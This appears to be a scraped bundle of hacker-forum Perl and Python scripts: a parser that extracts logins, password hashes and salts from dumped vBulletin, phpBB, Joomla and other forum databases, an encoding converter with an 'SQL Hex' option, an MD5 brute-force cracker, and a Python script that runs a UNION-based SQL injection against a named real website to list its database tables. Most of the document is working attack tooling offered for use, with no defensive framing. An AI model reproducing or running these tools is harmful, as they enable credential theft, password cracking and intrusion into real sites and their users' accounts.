1 - vBulletin
2 - phpBB 2
3 - SMF
4 - Joomla
5 - PHP-Fusion
6 - e107
7 - DLE
8 - WordPress
9 - PunBB
10 - PHP-nuke

#!usr/bin/perl
system ('cls');
print "###################################\n";
print "#  DataBase Parser by ph1l1ster   #\n";
print "###################################\n";
print "#   |||||    Enjoy ;)    |||||    #\n";
print "###################################\n\n\n\n";
print "What we do parsing?\n";
print "1 - vBulletin\n";
print "2 - phpBB 2\n";
print "3 - SMF\n";
print "4 - Joomla\n";
print "5 - PHP-Fusion\n";
print "6 - e107\n";
print "7 - DLE\n\n";

$do = <STDIN>;

if ($do == 1)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $a, $a, $a, $a, $login, $a, $hash, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $status, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $salt) = split("'",$parsr);
chomp($login);
chomp($hash);
chomp($salt);
}
print PARSED "$login:$hash:$salt\n";
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 2)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 3)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 4)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 5)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 6)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $status, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 7)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $mail, $a, $hash, $a, $login) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 8)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

if ($do == 9)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $login, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}
if ($do == 10)
{
print "Enter db file name:";
$file = <STDIN>;
open(FILE, $file);
@parsr = <FILE>;
close(FILE);
open(PARSED, ">>parsed.txt");
print "\nParsing....\n###################\n";
foreach $parsr (@parsr)
{
($a, $a, $a, $a, $a, $login, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $a, $hash) = split("'",$parsr);
chomp($login);
chomp($hash);
print PARSED "$login:$hash\n";
}
close(PARSED);
print "\nOK!\n\n";
}

- C4lcul4te MD5
- C4lcul4te Base64
- C4lcul4te SHA1
- ASCII to hex
- ASCII to Binary
- Hex to Binary
- SQL Hex

#!usr/bin/perl 
system ('cls');
print "+++++++++++++++++++++++++++++++++++++++++++++++\n";
print "+++++++++c0nvert0r by ph1l1ster++++++++++\n";
print "+++++++++++++++++++++++++++++++++++++++++++++++\n\n\n";
print "### What we will do?\n\n1 - C4lcul4te MD5\n2 - C4lcul4te Base64\n3 - C4lcul4te SHA1\n4 - ASCII to hex\n5 - ASCII to Binary\n6 - Hex to Binary\n7 - SQL Hex\n8 - Exit\n";
$what = <stdin>;
if ($what == 1)
{
use Digest::MD5 qw(md5_hex); 
print "Enter simvols: "; 
$md5 = <STDIN>; 
chomp ($md5); 
print "Md5 hash: ", md5_hex("$md5"), "\n";
}
if ($what == 2)
{
use MIME::Base64;
print "Enter simvols: "; 
$b64 = <STDIN>; 
chomp ($b64); 
print "Base 64 hash: ", encode_base64("$b64"), "\n";
}
if ($what == 3)
{
use Digest::SHA1 qw(sha1_hex);
print "Enter simvols: "; 
$sha = <STDIN>; 
chomp ($sha);
print "SHA-1: ", sha1_hex($sha), "\n";
}
if ($what == 4)
{
use strict;
sub ascii_to_hex ($)
{
(my $asc = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $asc;
}
print "Enter simvols:: ";
my $asc = <STDIN>;
chomp ($asc);
my $hex = ascii_to_hex $asc;
print "Hex: $hex\n";
}
if ($what == 5)
{
sub AsciiToBinary
{
  my(%h)=('0'=>'00110000','1'=>'00110001','2'=>'00110010','3'=>'00110011','4'=>'00110100','5'=>'00110101','6'=>'00110110','7'=>'00110111','8'=>'00111000','9'=>'00111001','A'=>'01000001','B'=>'01000010','C'=>'01000011','D'=>'01000100','E'=>'01000101','F'=>'01000110','G'=>'01000111','H'=>'01001000','I'=>'01001001','J'=>'01001010','K'=>'01001011','L'=>'01001100','M'=>'01001101','N'=>'01001110','O'=>'01001111','P'=>'01010000','Q'=>'01010001','R'=>'01010010','S'=>'01010011','T'=>'01010100','U'=>'01010101','V'=>'01010110','W'=>'01010111','X'=>'01011000','Y'=>'01011001','Z'=>'01011010' );
  $_=uc $_[0];
  s/([0-9A-Z])/$h{$1}/g;
  return $_;
   }
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=AsciiToBinary($line_in);
print "$line_out";
}
if ($what == 6)
{
sub HexToBinary
{my(%h)=('0'=>'0000','1'=>'0001','2'=>'0010','3'=>'0011','4'=>'0100','5'=>'0101','6'=>'0110','7'=>'0111','8'=>'1000','9'=>'1001','A'=>'1010','B'=>'1011','C'=>'1100','D'=>'1101','E'=>'1110','F'=>'1111');
  $_=uc $_[0];
  s/([0-9A-F])/$h{$1}/g;
  return $_; };
print "Enter simvols:\n";
$line_in = <stdin>;
$line_out=HexToBinary($line_in);
print "Binary:$line_out";
}
if ($what == 7)
{
use strict;
sub sql_hex ($)
{
(my $sql = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;
return $sql;
}
print "Enter simvols:: ";
my $sql = <STDIN>;
chomp ($sql);
my $sql = sql_hex $sql;
print "Hex:0x$sql\n";
}
if ($what == 8)
{
print "Good luck!\n";
exit;
}

#!/usr/bin/perl
$ver = "01";
$dbgtmr = "1"; #Intervall of showing the current speed + lastpassword in seconds.

if ($dbgtmr<=0){ die "Set dbgtmr to a value >=1 !\n";};
use Digest::MD5 qw(md5_hex);
use Time::HiRes qw(gettimeofday);

if ($ARGV[0]=~"a") {
 $alpha = "abcdefghijklmnopqrstuvwxyz";}
if ($ARGV[0]=~"A") {
 $alpha = $alpha. "ABCDEFGHIJKLMNOPQRSTUVWXYZ";}
if ($ARGV[0]=~"d") {
 $alpha = $alpha."1234567890";}
if ($ARGV[0]=~"x") {
 $alpha = $alpha. "!\"\$%&/()=?-.:\\*'-_:.;,";}

if ($alpha eq "" or $ARGV[3] eq "") {usage();};
if (length($ARGV[3]) != 32) { die "Sorry but it seems that the MD5 is not valid!\n";};

print "Selected charset for attack: '$alpha\'\n";
print "Going to Crack '$ARGV[3]'...\n";

for (my $t=$ARGV[1];$t<=$ARGV[2];$t++){
 crack ($t);
}

sub usage{
 print "\n\nMD5 Hash Bruteforce Kit v_$ver\n";
 print "by unix_chro alias backtrack (311733@yahoo.com)\n";
 print "Member in staff leader:elite-members,ubuntu-hackers\n\n";
 print "USAGE\n";
 print "./md5crack <charset> <mincount> <maxcount> <yourMD5>\n";
 print " Charset can be: [aAdx]\n";
 print " a = {'a','b','c',...}\n";
 print " A = {'A','B','C',...}\n";
 print " d = {'1','2','3',...}\n";
 print " x = {'!','\"',' ',...}\n";
 print "EXAMPLE FOR CRACKING A MD5 HASH\n";
 print "./md5crack.pl ad 1 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all digits.\n";
 print " MD5 Kit only tries combinations with a length from 1 and 3 characters.\n-------\n";
 print "./md5crack.pl aA 3 3 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with all lowercase Alphas and all uppercase Alphas.\n";
 print " MD5 Kit only tries passwords which length is exactly 3 characters.\n-------\n";
 print "./md5crack.pl aAdx 1 10 900150983cd24fb0d6963f7d28e17f72\n";
 print " This example tries to crack the given MD5 with nearly every character.\n";
 print " MD5 Kit only tries combinations with a length from 1 to 10 characters.\n";
 die "Quitting...\n";
}

sub crack{
 $CharSet = shift;
 @RawString = ();
 for (my $i =0;$i<$CharSet;$i++){ $RawString[i] = 0;}
 $Start = gettimeofday();
 do{
  for (my $i =0;$i<$CharSet;$i++){
   if ($RawString[$i] > length($alpha)-1){
    if ($i==$CharSet-1){
    print "Bruteforcing done with $CharSet Chars. No Results.\n";
    $cnt=0;
    return false;
   }
   $RawString[$i+1]++;
   $RawString[$i]=0;
   }
  }
###################################################
   $ret = "";
   for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
   $hash = md5_hex($ret);
   $cnt++;
   $Stop = gettimeofday();
   if ($Stop-$Start>$dbgtmr){
    $cnt = int($cnt/$dbgtmr);
    print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
    $cnt=0;
    $Start = gettimeofday();
   }
            print "$ARGV[3] != $hash ($ret)\n";
   if ($ARGV[3] eq $hash){
    die "\n**** Password Cracked! => $ret\n";
   }
###################################################
  #checkhash($CharSet)."\n";

  $RawString[0]++;
 }while($RawString[$CharSet-1]<length($alpha));
}

sub checkhash{
 $CharSet = shift;
 $ret = "";
 for (my $i =0;$i<$CharSet;$i++){ $ret = $ret . substr($alpha,$RawString[$i],1);}
 $hash = md5_hex($ret);
 $cnt++;
 $Stop = gettimeofday();
 if ($Stop-$Start>$dbgtmr){
  $cnt = int($cnt/$dbgtmr);
  print "$cnt hashes\\second.\tLast Pass '$ret\'\n";
  $cnt=0;
  $Start = gettimeofday();
 }

 if ($ARGV[3] eq $hash){
  die "\n**** Password Cracked! => $ret\n";
 }
 
}

hK2
123456

#!/usr/bin/python
#sqldump
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
for i in range(1,30):
 site='http://www.mothernaturalclean.com/int.php?id=3+and+0+union+select+1,2,table_name+from+information_schema.tables+limit+' +str(i) + ',1'
 bl=str(urllib.urlopen(site).read())
 dump=re.findall(r'n\"\>\<a href=.*?\=1\">.*?\</a>',bl)
 dump=str(dump)[2:-2]
 dump=dump[27:]
 dump=dump.replace('</a>','')
 print dump

#!/usr/bin/python
#antichat.ru info
#http://sql.parsers.info
#faza02[at]gmail[dot]com

import re, urllib
print 'antichat.ru info by faza02'
while 1:
 u=raw_input(u'user: ')
 antichat=urllib.urlopen('http://forum.antichat.ru/member.php?u='+ u).read()
 nick=re.findall(r'\<span class=\"normal\"\>.*?\</span\>\</td\>',antichat)
 nick=str(nick)[2:-2]
 nick=nick[23:]
 nick=nick.replace('</span></td>','')
 rep=re.findall(r'\(\<b\>.*?\</b\>/\<b\>.*?\</b\>\)',antichat)
 rep=str(rep)[2:-2]
 rep=rep.replace('</b>','')
 rep=rep.replace('<b>','')
 post=re.findall(r'\<strong\>.*?\</strong\> \(',antichat)
 post=str(post)[2:-2]
 post=post.replace('<strong>','')
 post=post.replace('</strong> (','')
 reg=re.findall(': \<strong\>.*?200.*?\</strong\>',antichat)
 reg=str(reg)[2:-2]
 reg=reg.replace(': <strong>','')
 reg=reg.replace('</strong>','')

 print '\nnick: ' + nick
 print 'reputation: ' + rep[1:-1]
 print 'posts: ' + post
 print 'registration: ' + reg